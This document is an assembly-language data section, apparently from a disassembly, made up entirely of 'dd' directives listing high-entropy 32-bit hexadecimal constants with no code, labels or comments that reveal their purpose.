dd 0C7ECA09Dh, 4CA28549h, 5F3FC635h, 4D1A94Ah, 1FCB3E4Dh
dd 0A9C23080h, 0C4984F42h, 0DBBFE9E9h, 76AE02Eh, 0D0F3FC6Dh
dd 1C600832h, 698458F0h, 20FB5E7Fh, 7C172A87h, 4700282Eh
dd 333C0DC1h, 0E9EB1729h, 4D724E52h, 0FF3B86C4h, 0CF583140h
dd 0B63156C6h, 4FF309FFh, 0FE161977h, 0FE5204E6h, 880E5CB2h
dd 0F073407Fh, 554AE98Eh, 0FAB71717h, 10FEA65Ah, 8F419FA1h
dd 7B1CAC6Eh, 7F86D75Bh, 5C60BC0h, 0ADDE498Bh, 7FF0209Ch
dd 4FFEA1B6h, 8FD6BAC6h, 888A7720h, 4C627068h, 0D91F6469h
dd 48F201ECh, 6A5B2024h, 680B399Bh, 0B4FD56EFh, 0BAE92647h
dd 2069A5C3h, 3B2C650Ah, 0CA358D87h, 0BE9DE60h, 410ABCC0h
dd 9E312768h, 3B600D4Bh, 3095DDF6h, 0D0489925h, 3E56A94Fh
dd 1E6F925Dh, 14786754h, 819F549Dh, 0BBC5626h, 3A0920h
dd 2970346Fh, 491FE9FBh, 776F12B7h, 683E41ECh, 8B856EBFh
dd 0E76F6850h, 61F9BCB3h, 2831D868h, 0B818C6A5h, 0A0BD1E20h
dd 13B850Eh, 1619B9EBh, 8042E157h, 0D5634968h, 0F22DB06Ch
dd 25D89497h, 9A660ABFh, 8876FEBFh, 2E283280h, 0DEB74E90h
dd 0FA5A120Bh, 0AB124A65h, 76E93930h, 6F759444h, 0B550B829h
dd 723E5EBDh, 6AF1AE41h, 7362A68Dh, 4086B840h, 8500B919h
dd 810E1A07h, 2D315DC9h, 0DFD2625Fh, 0AC3C78DEh, 30004F78h
dd 31B5DD2Eh, 5C1998D1h, 0F803D3Bh, 5F064D7Ah, 59B744AEh
dd 48DBA0C0h, 0CA203755h, 0ED99CAA0h, 4CE2B0ABh, 4B7C6A78h
dd 0F11A1C2Dh, 90EBBFACh, 106F4277h, 0D637C0B5h, 0D671E5Dh
dd 497CD35h, 0BBC0FAAEh, 70E2685Dh, 1C779761h, 0A322BDD8h
dd 1DF43DEBh, 0E20C57AFh, 4102B20Ch, 0CEE96819h, 0FC13D733h
dd 81A19BC1h, 7388EF71h, 98ED45DFh, 0BFA0127Ah, 0C1D21DA2h
dd 2E1F7054h, 5FDE7069h, 67EAFD5Ch, 5FFA4609h, 744963F1h
dd 0B80B17BBh, 202212B3h, 429660FEh, 47764941h, 9240F305h
dd 5AE67A4h, 98FCBC1Bh, 8655719h, 0FB10E099h, 1CB41398h
dd 2C2E7B0h, 0E9403549h, 87003B7Ah, 0DED1F7CEh, 5B9FC908h
dd 2B7B75h, 430A6853h, 0D3FF169Eh, 2A118479h, 7138516Eh
dd 0DCAAADC1h, 0A4443A0h, 9AB81603h, 0D1A9947Bh, 0B32B33BBh
dd 366D1328h, 975329FBh, 45BAC30Eh, 0BF56E9ECh, 34AEB585h
dd 80DBA2ACh, 7BF26857h, 0E9490BD9h, 97723D05h, 259EC950h
dd 104258h, 1D150FC8h, 9D1909E9h, 7FB26B27h, 76104498h
dd 0F1BC6BE1h, 0A9F6FFA4h, 4B780725h, 0D64DB812h, 78E1C200h
dd 77289816h, 5686C241h, 6BF422CEh, 0F78A0A05h, 0B2B609EBh
dd 5D947450h, 55E755Ah, 0AED329E9h, 0EAB81293h, 664E88F5h
dd 26681140h, 0C32A1A3Ah, 101E16DEh, 1056486h, 612D4F6h
dd 2F59E546h, 74C1243Dh, 57F6979h, 6BFCE653h, 0D49F01A4h
dd 420F6503h, 91C3088Bh, 369881C3h, 1A90407Dh, 53964F8h
dd 0F2C05F20h, 0B504DFDDh, 0EA707C5Ah, 0B07EE495h, 5804E3AFh
dd 3C5D32B3h, 0E8A01F7Ch, 0D35B289Ch, 56DF33C0h, 0BC6A5A2Dh
dd 910616B5h, 0D688F39Dh, 0BE009401h, 683553B0h, 23F60381h
dd 4E52D622h, 626DE6B8h, 3E79DC26h, 73302F06h, 2594ECC4h
dd 6476B0CDh, 5DE68269h, 506DE032h, 2FE91257h, 7797B982h
dd 1A82264Ah, 0C6C0E04Fh, 1EFC2D0Ch, 5305F4A0h, 68164901h
dd 91CC0AA8h, 0F47A2E31h, 5EFA173Ch, 0E2C857EDh, 2B548462h
dd 3D9B6803h, 0BAD01515h, 0A879C199h, 0A02E1B30h, 8D4EE924h
dd 0E229C00Bh, 0CC907F88h, 0C8BD62A4h, 0CF2CEB45h, 0F0A05B0Ch
dd 7CF5355Eh, 0E22DDB28h, 34413D08h, 0CBE124Eh, 51858D4h
dd 4221350Fh, 0D1C9A01h, 14171C08h, 0E72720EAh, 2EE905E3h
dd 0ACDA2107h, 823B3812h, 0CC721A68h, 7C6B20FCh, 72BB544Eh
dd 0BEC6501Bh, 206A1B25h, 14305429h, 0F0F09D21h, 74BE8FCh
dd 0E2E7D7ECh, 967A7D38h, 5384942Dh, 0CB298901h, 62D459D7h
dd 1B522E53h, 0F53DA201h, 0DA70BB2Ch, 9531D030h, 0FF6B80F9h
dd 266B5C0Fh, 0D452BC76h, 171227FBh, 653B0BDDh, 30780B2h
dd 2DE96D33h, 27DC2EE3h, 39051D66h, 0F8010E5Ah, 380E2DEDh
dd 8414D92Bh, 0D8222DF3h, 8041235Eh, 0E1CC0FC1h, 9582F610h
dd 12BF85EEh, 655C55C1h, 0C810FB00h, 0BAA1E946h, 0C7891217h
dd 831358h, 59AFE764h, 560021DEh, 3A4237BEh, 30F73163h
dd 0BE9D5E9h, 85180FDBh, 50109AB0h, 82204D68h, 0C2290993h
dd 0CF2040E4h, 82BD0416h, 0AB75394Eh, 9860D9A2h, 47902C7Ch
dd 972378B5h, 0D2201A96h, 0EEB0F253h, 64E14EC7h, 0F2B4D1ADh
dd 0C61E0430h, 48D0F7C7h, 3502E060h, 538E00D8h, 0E9C629B2h
dd 0D59724DBh, 2E2E3619h, 0BCE3BF12h, 0F8C9E9C3h, 0F7F23507h
dd 5B4E31D6h, 3ACCF909h, 0A0101466h, 8F91D25Ch, 8005E4FFh
dd 0D6AEA60h, 15A800Dh, 806F0FAh, 81F040Ch, 0C2534B43h
dd 0A25D4806h, 0DD3109D1h, 698BA7C0h, 1F99449Ch, 0E03FF759h
dd 270FB651h, 2091452h, 40EAC15Bh, 51FE24Eh, 0E92C1D75h
dd 5AA9F0B7h, 0F7E75F4Bh, 21708951h, 7D370CBAh, 6444EE5h
dd 4260E998h, 3BF28166h, 30603057h, 7C87E961h, 2CB45D97h
dd 0C9ADE918h, 2FACB522h, 64F6EF30h, 8BFB989Ch, 45F828D6h
dd 0E8D03D08h, 69E92713h, 2E53AFC1h, 95A0B5E8h, 5E50CF60h
dd 0A00BF2A1h, 7C0ADA43h, 0DBF70B94h, 23396180h, 71905415h
dd 0EC51431Dh, 25A15254h, 4BA511Bh, 9011B56Bh, 2DD8F71Eh
dd 7E68D701h, 2F04E97Dh, 9D88F534h, 19B14A98h, 0E9D1F605h
dd 0C8FFA7E6h, 559C4BFFh, 5209450Eh, 0A8F37801h, 0B538B752h
dd 0A8468A24h, 4D730FDAh, 80F24F26h, 727CC75Fh, 4584A24h
dd 0A05FDB09h, 4E94689Bh, 15554D49h, 3F0CB896h, 0B6B193EFh
dd 0CAC11400h, 0E2019355h, 837FB8F9h, 0ABC8AA08h, 4D0A00F2h
dd 0FD18661Fh, 4E30AE75h
dd 0D9059DA0h, 2D3CB943h, 0F3E0005Bh, 1057BACAh, 0B0D90175h
dd 0B602E983h, 14B84455h, 0AD541854h, 7FB753EDh, 0D0564AF5h
dd 942BC4F1h, 3790644Eh, 616217A2h, 7595B640h, 0BA9FB24h
dd 56C51003h, 994F0B18h, 0EC89E801h, 0DA1AA55Fh, 1C30EF00h
dd 48C14D70h, 0CE007FEEh, 218464F3h, 0C9B765E9h, 79DCE569h
dd 5364BD46h, 0B0886424h, 0FEFA9239h, 0D12F81FAh, 429683E1h
dd 166837Bh, 0BEB3B80Ch, 7B5E5156h, 75874B21h, 0A166AB07h
dd 9D945161h, 89C80F17h, 495E30F1h, 13B6C9DCh, 0D2C78C4Fh
dd 75FD3282h, 0D5129B79h, 685A3DC0h, 0A14CBF5Ch, 0D4342827h
dd 48D7E91Eh, 9D405044h, 54577A1Ah, 74E9D847h, 6634364Ah
dd 5F525CE0h, 0AA38566Ch, 0D4298CC2h, 4810096Fh, 0B04BAEF2h
dd 9D756BFDh, 73AD6559h, 33E98BD1h, 3C9873E8h, 89460C0Bh
dd 0FF85FDD6h, 8F33EF4Fh, 0C8CA4A80h, 0E65E88D1h, 0E5C57B33h
dd 6ED699BBh, 13158A80h, 0A0099E56h, 0EE91808h, 0E5BF30B9h
dd 0D363E1Eh, 104B4A8Bh, 2A08AD45h, 0F2FA8891h, 21E409C9h
dd 0A7FC7161h, 41D87BCh, 0DC8318C0h, 0F23B014Fh, 688B38DBh
dd 82CABC09h, 0C93D15F6h, 0DC80801Bh, 2725C74Dh, 9E89F4E9h
dd 68F72B09h, 4D286815h, 0A910925Fh, 0FF593D4Ah, 0CF262F5Ch
dd 16133E52h, 51AD3A60h, 0B2A924B5h, 59EA050Eh, 4F2DA628h
dd 3049B180h, 615782FAh, 0C212D01Bh, 7EAC000h, 3BB33B53h
dd 0E3E2EB31h, 29E74302h, 209C0616h, 0AE1847F8h, 3B74B5C8h
dd 61C9CCB7h, 0B1830698h, 88F9C122h, 27FBA830h, 0D202CB5Dh
dd 306A4813h, 515235D8h, 0BFCFA056h, 5C073603h, 44FA2925h
dd 7E81ED2Ah, 0B0781DEBh, 3C78182h, 7F40AE4Fh, 813C2D4h
dd 0FAE004AEh, 0C1410FB2h, 6A08F2E1h, 9C13C70h, 32934D7Dh
dd 4095E000h, 895F1EDCh, 725068E9h, 8F67129Eh, 8E03E966h
dd 833E899Fh, 2B1070Ch, 4099BB5Ch, 527D4446h, 87211695h
dd 5736217Ah, 31D7F08Ch, 0E3E9DA0Bh, 20B29D1h, 4A488E57h
dd 20E172F3h, 0EAC1A08Fh, 64B142DEh, 41295A20h, 0F83FD471h
dd 2D5F4998h, 0FF4963F9h, 0F519A897h, 4F4992EFh, 5374A1FDh
dd 0DBC07168h, 67E92D11h, 8F66E040h, 670CE0CCh, 1E460AB9h
dd 19C628Bh, 0F9341CA2h, 1B916049h, 714CE2E2h, 46DA076Ah
dd 0C1323EA0h, 0F69240E6h, 243718B8h, 6D5F0C1Eh, 508A1127h
dd 0ADD2C4A8h, 6A091363h, 68682277h, 68125CBBh, 0D6400C5h
dd 0EBC144DBh, 0D0D10239h, 0A102C5ABh, 0DEE9091Dh, 28D8D14Dh
dd 0F9144EBEh, 215B81ACh, 186B5635h, 0F44D109Eh, 0D0317A17h
dd 0B35827F8h, 0E96A2D04h, 0F9D1E4E5h, 9CB3664Dh, 0E25BB290h
dd 0CC13241Fh, 0DDED8189h, 4E84E829h, 0C68005AEh, 8B36B181h
dd 33B12D00h, 35186C01h, 0AD78C04Bh, 0B8C6C16Bh, 0C7FF8815h
dd 2C123D1Eh, 2060F5E2h, 143E06ABh, 2AB3192Eh, 0BDDCE3EFh
dd 0E55DC23Eh, 5DD6F09h, 0DC0D52Ch, 0BC28106h, 5B200250h
dd 73E2D790h, 0AD252428h, 0B9C0E41Fh, 4D092992h, 11F4A74h
dd 0E235589Ch, 974AD1C0h, 0EA12BDFEh, 5FADD85Fh, 1C4BD414h
dd 0AE7556EFh, 895DCD42h, 7AF6D0F7h, 6EE82697h, 0AADC27C6h
dd 8DDDCADh, 5627A749h, 0A684CF60h, 5E86141Fh, 0FE4453ADh
dd 13F42F67h, 89347FD3h, 41BCFDD5h, 4F70A6D6h, 0EA4A12FAh
dd 78518AF5h, 0EA6D45A4h, 497BF4Bh, 5F01C9CFh, 498C9EFBh
dd 30780B0Bh, 0F321FEF6h, 4E4CC42Dh, 4483074Dh, 0F760375Ah
dd 9FF252E4h, 12F31A01h, 1805FBB2h, 4F595441h, 0A960FF82h
dd 3A2457ADh, 62CAAC7h, 3B651231h, 0F300EE13h, 534727D2h
dd 29596D1h, 0CD8F9C64h, 581738F6h, 0F7D262BBh, 87513E56h
dd 0A39AE83Eh, 5ED53B0Eh, 0A788CB25h, 9840BC8h, 51047CC6h
dd 0CF8811B1h, 9CFCF0C2h, 0AC3258E2h, 0EE3EF783h, 8952EC0Eh
dd 2D8257FAh, 637F4A75h, 0F67CF951h, 0AA5D566Bh, 1F56F161h
dd 0C0DF2902h, 5C08684Bh, 9C19E4DCh, 0FBED65D3h, 6E25C8F9h
dd 5D16F1EDh, 0F42EBE51h, 6CD9840h, 0BD6FBF6Ah, 0E92D0BC9h
dd 0A256E215h, 88F57F15h, 8D3CF38Fh, 902A344Ch, 74B4AD6Bh
dd 0C1913860h, 7B56C503h, 17BE4DC3h, 0C468AC05h, 0B7E98C60h
dd 80D7F6C1h, 0B96EDE7h, 951009F7h, 76BF69D0h, 0CE1439Eh
dd 8BC7C53Ah, 0F87AF526h, 969924E5h, 0E0ED0005h, 292FF02Dh
dd 0C551FD7Eh, 0F7E86E08h, 5017DCB1h, 52B568ECh, 0E4744DAAh
dd 0E67F0400h, 4172E967h, 0CDBD3F07h, 0B9CA179Eh, 0E2F78B1Eh
dd 0F35B5592h, 4620550Bh, 822EFA16h, 7E7B2D57h, 93A4B06Fh
dd 88FFC64Ah, 0F45B74F7h, 0A54F8DCEh, 3930ED62h, 57C225ACh
dd 82F7FCE2h, 702C1FCh, 0E11E6442h, 89F62EE2h, 9325E9C4h
dd 69B2687Dh, 21621FF6h, 0A97809A4h, 0F845BF12h, 0AEDF85EAh
dd 0E6BA0152h, 127FD01Ch, 0B2BECB6Ah, 27FCD387h, 0CDF5B1h
dd 0B80D5F6h, 0E83016EDh, 0C3E58B74h, 106473F3h, 0FCFDBE50h
dd 0A38DA04Eh, 9E477140h, 9A38BAFBh, 0EA960F97h, 0BBEA7181h
dd 43C5FD6Ch, 90DEBC0Eh, 13B20C8h, 55597FBEh, 32F30142h
dd 9DE9C732h, 0D45329EBh, 0D605A5F9h, 1DB9F8FBh, 0D9F95756h
dd 0A2492C20h, 63F29A17h, 0B20842D3h, 0DEC3889Fh, 53223629h
dd 3B3C6D0Ch, 120AFAC7h, 0AC291FE5h, 5A084076h, 0D9212AE3h
dd 0EF042D13h, 9ED58A0h, 9C1A6EE2h, 19122300h, 0BFA12F18h
dd 0C65B812Ah, 2E9F7320h, 4158AC2Ah, 60276108h, 0A8C522D6h
dd 0A408F1B1h, 0DD010B1Bh, 42ED3681h, 0CDC2C75Bh, 0CBE07C5Dh
dd 273F9ED5h, 255ED4E9h, 70BFDC27h, 54650AE9h, 0DF0AFD67h
dd 8889CFDEh, 1431D8E6h, 0E41C045Ah, 0E5A02C25h, 737B7597h
dd 8D936CC2h, 82CC62B3h, 0FDC62965h, 0D09F7414h, 98B52E9Fh
dd 0F85F6515h, 8D2E3F09h, 80E96B50h, 0DEBB2083h, 0C0171B4Fh
dd 0F259268h, 669C50EEh, 0DE04BE5Fh, 28EB08F8h, 4A5B6822h
dd 503AE4Fh, 0D8AD7007h, 5D2A138Ch, 2A4674B5h, 2C557EECh
dd 0C0593E48h, 0EA629A68h, 11201D90h, 0A73A9575h, 0F371158Bh
dd 43E6F40Dh, 941F47D8h, 0A2F54BD7h, 0F2BB46Bh, 0E794BB7Dh
dd 62812B6Fh, 7D7C6347h, 86C30352h, 11E2528h, 0A7A5ED0Ch
dd 7ED82143h, 0BEB4F5A2h, 6812E2E9h, 735DF4E6h, 975EA440h
dd 0BD9F96F7h, 20425654h, 0BD5FC0F2h, 41771646h, 7010004Bh
dd 9EF28E8h, 0E940D4C1h, 496FF8AFh, 0FD844E65h, 0BD680233h
dd 79B05624h, 4BBB415Fh, 731224Fh, 37465E74h, 76D55DB3h
dd 4314B53h, 0E3CC882Fh, 0BD803953h, 0E9E78537h, 9DAE2386h
dd 7043EEEDh, 9FBB3A4Ah, 0B850019Dh, 4A656B72h, 7CE0802Eh
dd 291E4742h, 76D2E9C8h, 0F4EEB090h, 78D12F4Ch, 1795F7C3h
dd 0B1F5E808h, 3B8B80A7h, 0C6767568h, 56505560h, 9A6C70E9h
dd 57451F8Dh, 664E9818h, 5B301989h, 3DB70C0Fh, 0CFC48BDh
dd 0BE27E93Fh, 2EC520C9h, 0DF09FB5Fh, 44595792h, 62746850h
dd 3872A173h, 886EE556h, 2A62271Eh, 0F4BEBF02h, 0BEE510Bh
dd 54FC499Ah, 0EDD04CBh, 59F0BE12h, 0AE17BEA6h, 58555A25h
dd 266002BFh, 7C0115C9h, 206CF15Dh, 0BE5F480Ch, 4CB4881Ah
dd 84934E59h, 0FBB412EEh, 0E05E008Ah, 9A40A26Ch, 3F16B55Dh
dd 31D2CE4Ah, 94587DEAh, 48A35D5Ah, 68C90B18h, 66BD6408h
dd 0E42C20AAh, 1B68AD16h, 4AD981E4h, 15EAB315h, 4EFC7B45h
dd 0D72F8AAFh, 0F9EEAE34h, 606524B7h, 0BA6DA727h, 0BC0B60FAh
dd 279CFF18h, 68EC8A9Fh
dd 0F1F1303h, 43F1B825h, 25BDB894h, 94F058C3h, 6804FC9Bh
dd 1EB22C1Dh, 0EF64AF5Ah, 25E977E0h, 34762891h, 52B8614Eh
dd 0E17B122Ah, 86129CD7h, 0E13D460Fh, 250DE6E7h, 1CFC6F71h
dd 0FD2913A9h, 0F255E031h, 0A401C280h, 0FBEA268Ah, 18201931h
dd 5C842ADEh, 2E68B1EFh, 173097B5h, 0CCB84A5Dh, 67E8F592h
dd 0CA9A83B8h, 0CD0354F0h, 16E99279h, 592C2949h, 0F83009B5h
dd 761E167Dh, 2CD760E9h, 0EC59A2B9h, 38D10E4Ch, 38EB4F2Eh
dd 0C8B7218Ch, 0B95456C3h, 0F33CC267h, 0FEB5FFE4h, 5E590926h
dd 0E9B4B8F7h, 2BE26140h, 0CD3994F2h, 0EC07F3Dh, 25842908h
dd 0D58831DEh, 3E785034h, 12F56880h, 41D5631h, 1D3BEC9Dh
dd 8FE4C089h, 0B2FC3799h, 0B6520107h, 8E6C2B0h, 91BF4157h
dd 59D9EED5h, 762E16B7h, 0D70C0650h, 0A10A0CE9h, 0EFFC09C7h
dd 0CE85FD7Fh, 41B0470Fh, 80908353h, 0EDF72707h, 89D25243h
dd 49C451FBh, 7EFA71E0h, 0CFAEC182h, 0ABE4132Fh, 38253D2Bh
dd 8CA0DAAh, 0BE0732A8h, 446751A6h, 0C64716AEh, 6B75B0B1h
dd 3263AF54h, 7F560DA1h, 1C596AF9h, 9DF3BAA0h, 0EC5EF4ACh
dd 548F6880h, 641DC279h, 87950A38h, 71C43F44h, 0C1C2EC07h
dd 351917E2h, 98406C68h, 52A95A2Ah, 16A80B00h, 0A48EBF89h
dd 3C220DB7h, 3A7CFD67h, 0E982F7F2h, 0CB92D0F2h, 4FC6CB7Fh
dd 3ED2F90Ch, 21E90929h, 2DDA68A3h, 0CCD39778h, 0C956E986h
dd 13120F6Bh, 5B4927F5h, 18BD55D0h, 0B3736838h, 2C762DA4h
dd 5C350425h, 0D2D9F3AEh, 75A1ED2h, 0C58090B5h, 0ED3EC09Fh
dd 0EBCDBC08h, 0DC425D1Ah, 314FE457h, 2C1AAB77h, 2EE5DD1Dh
dd 7D2D2A0Bh, 61D15163h, 9148B9Bh, 0ECC216C5h, 1D6C09E5h
dd 8B80429Eh, 6BF3B52h, 0B9025F9Dh, 88E83634h, 68075651h
dd 4DC2527Ch, 0A47FDE8Bh, 43C60155h, 0D87E5B1Fh, 0CC16C4F6h
dd 0E00F3098h, 4870B01Ah, 0BC4B9ECBh, 80EC0779h, 630E5EC3h
dd 4CD981E9h, 0B904A924h, 0BFDE3EB2h, 5EC25A09h, 0E768500Fh
dd 0ACBC705Fh, 9C7E71C0h, 0C12C5B40h, 0CB0194EBh, 0C35213Fh
dd 0BC0AE0DAh, 717C7417h, 1C7F9736h, 0F0682D33h, 0FC0989DBh
dd 2A59225h, 5E34ABC3h, 13A2A68Ah, 646B84F0h, 71B7FBECh
dd 6DD668C2h, 45CF74D4h, 8BBB1753h, 0D0E9098Ch, 0C309A439h
dd 0AA6E95FEh, 48766405h, 0F04BEDF2h, 0EC2DD612h, 4C90D7FEh
dd 539F7801h, 497BADE1h, 689CD52Fh, 5DF07824h, 2CEE5092h
dd 77403137h, 0F0202B9h, 0C1013CA8h, 956D1B40h, 943FBB81h
dd 2A06FAD3h, 0F3301A0h, 13F6752Ah, 0A342B449h, 0F873A905h
dd 53580768h, 0DC25EB88h, 0A44806EEh, 96EC8DCCh, 0D60CAFFFh
dd 7CE762AFh, 9FB19477h, 0BA7B4AF6h, 0F45E04B6h, 2D41E052h
dd 5456EB60h, 98D98E15h, 82455ABEh, 607521A1h, 17BAE3F6h
dd 871FB631h, 0E363FA5h, 1400F3B6h, 0D9894080h, 0CA9AE93Ch
dd 9C0CB128h, 0B8ED0997h, 5AB494FFh, 5E5A88B2h, 7B5AE5EEh
dd 0A7FEF684h, 0FB34E74h, 852FE909h, 0F2620974h, 0A9B0774Fh
dd 990BBE56h, 0D818FF11h, 107D3DFh, 8E673BB8h, 6B66A403h
dd 83150E0Bh, 0D214ED4Eh, 0F1256148h, 9A77CEA5h, 3E4D77FDh
dd 0CEBF5E2Fh, 363EEBEDh, 5AD112EDh, 0FBD397ECh, 8DEFA413h
dd 3F9249F9h, 2DBF6744h, 2F93CD40h, 6E906FC1h, 4E2EFA02h
dd 0F4F4E90Bh, 0ABD62FD0h, 49F36850h, 69846275h, 9BBD01F0h
dd 5A700B39h, 8389B7DCh, 0D1BCDFC8h, 0B8D6F780h, 251C4AF3h
dd 1B2BF66h, 4B12594Ch, 0A7E0FCC0h, 0A2FD44C5h, 9676BB4Eh
dd 0BC68134Bh, 0F1406106h, 2E31034h, 0B59DF252h, 94DFE50Bh
dd 0B6681405h, 9851F50h, 5931BB1Fh, 5C575C7Ch, 9147C735h
dd 7F922D93h, 0EC165729h, 0C153F497h, 6E710E68h, 7330B0D9h
dd 5DB64FD2h, 14BFC9Ah, 95E5870h, 803C63C2h, 26D37AF2h
dd 22789D46h, 36853CA0h, 0D5AEF662h, 0E96675A7h, 0D7F1F728h
dd 0DFE41AAh, 41924E07h, 5EFC8FB2h, 188989BCh, 0B2F5DFC0h
dd 49087818h, 4BE390Ch, 0CBE9BB3Eh, 9E55ECA8h, 73E55009h
dd 97123D79h, 8988FB20h, 7E2B7E7h, 7200DC77h, 60C55C7Dh
dd 57726853h, 1788C6BDh, 0FD31C9E9h, 0B2954F74h, 82C8F1BEh
dd 0A13A3D0Ch, 74F8F505h, 0FC020882h, 0BF00261Eh, 3BC46B2Eh
dd 723EB871h, 0DEC075AFh, 71BFA7E8h, 5BD8420Bh, 80EE5BFDh
dd 47356857h, 5F01774Fh, 1086CF81h, 3E833155h, 19185B48h
dd 82929403h, 9829B7DFh, 928B03E9h, 8E5B4FACh, 79B7CEEh
dd 9EC9D549h, 312EC723h, 7E252BF2h, 0F480492Ch, 0F67B89C2h
dd 0CA0929FEh, 5FD5ACE9h, 5D97251Ch, 9EF4F05h, 0DB755FCBh
dd 205C8983h, 0CA4AD6E9h, 9E97A09h, 12AF3B2Fh, 0F76030F9h
dd 0D26A4A5Ah, 41D404F6h, 0C98101A3h, 38C558E8h, 17935B30h
dd 16AEF15h, 461A2E80h, 86E6D81Fh, 437CECEAh, 38F8CE05h
dd 8CC04413h, 0BB94965h, 0BCC6E91Eh, 0F97579A9h, 0AA5713B2h
dd 2392D2E6h, 0F8D4B425h, 2AEA7ACh, 80649F20h, 1A3A8BE2h
dd 9843714Ah, 0E30995DCh, 0C69635C5h, 56884BFBh, 1B4ADD02h
dd 20A383C4h, 9FF36B02h, 0D520ED74h, 0C021064h, 0E91C7165h
dd 174AF02Ch, 8C01D568h, 514102EFh, 8E20A521h, 6A5E8134h
dd 0F15B51E0h, 958C3DECh, 808901D6h, 8924D426h, 6A1090BBh
dd 6C01127Ch, 2903054Fh, 9EAC5BEDh, 0E2842782h, 1D42B056h
dd 424AEEFEh, 712F6C4h, 93C65013h, 0AA484E58h, 0E07C5F4Bh
dd 14BABE85h, 0E14FBC42h, 0A02D7B07h, 0B3EE6018h, 0CC4ADA9Fh
dd 4E7EDAB0h, 1E988C2Eh, 7658E86Ah, 9A0408CFh, 1C7F1F0Fh
dd 0E9144074h, 2472B035h, 95ED31F0h, 29120ED5h, 73B5765Fh
dd 0AAE94284h, 9D5F6E59h, 0CA4079C2h, 679D90DCh, 0ECD11792h
dd 0DE8402B6h, 0FC3103BEh, 13B5AC7Fh, 76D6CC11h, 885983BDh
dd 580DFAFAh, 0E7803C38h, 2BF70973h, 9C5CF908h, 826E4A58h
dd 82FDA282h, 2E4C000h, 4EC43980h, 93AEEA4h, 0C728AA0h
dd 336D3B13h, 5ECF3F01h, 0E9C86E6Ch, 13759416h, 0B9B2EB05h
dd 5AAEEC97h, 403A878Ch, 78BF5393h, 1B880F22h, 0BAA4221Fh
dd 249F8AE1h, 2E080551h, 14661EC2h, 0B877BB80h, 409D40FDh
dd 535D0D07h, 7DB23191h, 0DC7772Fh, 972A7827h, 332E3CFFh
dd 0EB87B73Eh, 733177A0h, 0CAB4E1F6h, 1DD8BE0Eh, 804E4CC9h
dd 636EE71Ch, 87E91002h, 57512758h, 0E94185C5h, 243EABFAh
dd 0F167B57Dh, 0A0EB04E4h, 525AE6C0h, 31C18BFCh, 0D021149Dh
dd 40EF59CFh, 23235AFh, 2710F33Eh, 303E74C2h, 56CBF2C0h
dd 8D253B2Eh, 0E6D72C18h, 0CC291AF5h, 4A568439h, 26FB5092h
dd 0DC73A1D8h, 64685381h, 21BBCA3Dh, 0D5935C0h, 0D5292D0Bh
dd 0E918521Ch, 5C0A0ECEh, 85C1DE66h, 0BAFEE654h, 946ABF2Dh
dd 0A2DABFFDh, 6A9CB902h, 0C85F0D5Ah, 13111555h, 0EE51300Fh
dd 40BA9AD6h, 1827883Ch, 894F158h, 3B289E2Fh, 0AF63BB0Fh
dd 93786D4Fh, 0F1623E8h, 0D53106ABh, 0AE071F85h, 8B764A39h
dd 42E9F704h, 0A5B3D17Ah, 0B416382Ch, 565989C2h, 25F4DAC5h
dd 0D262976Ah, 28830A27h, 0AD0CD72Ah, 4B7EDF22h, 895DF707h
dd 4C62057Fh, 5B0F1B05h, 0C99F5EECh, 0C856185Ah, 0BCAA5644h
dd 4537B2E3h, 2C1831C5h, 0EBF0C1DCh, 236866A0h, 0AF4B487Bh
dd 0BBB9EBC0h, 499A2F59h, 0AD2C405Ch, 2703A708h, 0FB213BDEh
dd 6EB6860h, 0E9081D28h, 6FDDA437h, 0FFB9A504h, 0D87CE089h
dd 0B33A15Ah, 0D0885CAh
dd 4A7E4FCFh, 25AE80E5h, 20143D2h, 7E8C139h, 0DCE8D0F7h
dd 3E520E22h, 50AE5835h, 508CBAB2h, 13A302B9h, 0C131651Eh
dd 5DAF7D45h, 253A58AAh, 0FF6871F4h, 392E6804h, 0F81307B3h
dd 0E870FE11h, 165FBA52h, 0C039060Eh, 9F925DA6h, 3105FB00h
dd 1523F21h, 0AE910D0h, 80AF4F07h, 0FEE4A375h, 0E5C5CC97h
dd 10F7B23Fh, 0F72CEE16h, 28BB08D2h, 4262011Ah, 3E515D1Dh
dd 57545E62h, 27DE3A9h, 7B644C5h, 1885F245h, 5D91BADDh
dd 3C897051h, 619675DAh, 17403198h, 2CF44F28h, 0E55A88FEh
dd 974284A0h, 0E6FF2E94h, 4B24FE56h, 0E6F97F12h, 4C1E4784h
dd 4A60102Ch, 4773BA45h, 0C42E95Dh, 81A7343Eh, 0F0F9BAE3h
dd 0E92F6785h, 0BFE0618Eh, 0CA56506Fh, 0A842DA04h, 89F8EE1Ah
dd 4BE90840h, 2F74B182h, 54C171ADh, 6FDB685Bh, 6F0B5F91h
dd 1E37F32Fh, 271710DDh, 0C0838D09h, 78B2526Fh, 0A7122AECh
dd 1D507AC3h, 4EA0B353h, 0C642D888h, 18DC97E9h, 899AF727h
dd 763ECB01h, 0FFB26A34h, 0B86E0841h, 0DEB9F479h, 90D0C327h
dd 14947595h, 5CE9D617h, 0B9976557h, 797F1809h, 0FF8E8230h
dd 9FF1D7E6h, 4E26AE80h, 57740A27h, 0F904A62Bh, 0B151035Eh
dd 0AEF9C7F4h, 84E80B2Dh, 61FCE54h, 74FEE331h, 0A4225F9Dh
dd 2361E5C1h, 1C136F8Ah, 5B70CEEFh, 98E98C42h, 0F79B6A62h
dd 2B8B1289h, 0D0F1127Fh, 9E393AA9h, 7A165E3Eh, 0D42B4BBDh
dd 71064BE1h, 5A3468BAh, 4C568462h, 1D59774h, 0FCE9F1FEh
dd 0FC5E2168h, 0C42AB929h, 0ABB6EB7Fh, 0BB85AFD6h, 0BDBEB594h
dd 9DAAD6DCh, 0B2D3B04h, 0FBF19A92h, 8BEC7DD9h, 4F39BE75h
dd 0AB670E04h, 0B5AB744h, 0D2F7051Dh, 497BC87h, 0F06F093Ah
dd 2733BDB0h, 87F5EF8h, 0E90908CDh, 0B3BC7047h, 7D044BC7h
dd 153093Ah, 7FA30E97h, 0E8C3BC87h, 0A707EB60h, 6C98E052h
dd 0E9690EC7h, 1618F43Bh, 5BBEF0ACh, 928F569Dh, 0BE31C252h
dd 21582BCAh, 0DDB4562Dh, 88042CBAh, 0A9BB00FEh, 9C45CE0Eh
dd 23526DAh, 494C1BC9h, 5D5187F8h, 0C0AC3AB2h, 4C362D1Fh
dd 530768Bh, 0F45B07A1h, 4B381ED1h, 1190FD29h, 6E287F16h
dd 0E276DCB0h, 0CA094CE8h, 0F068D527h, 1116ACC5h, 0A70BB693h
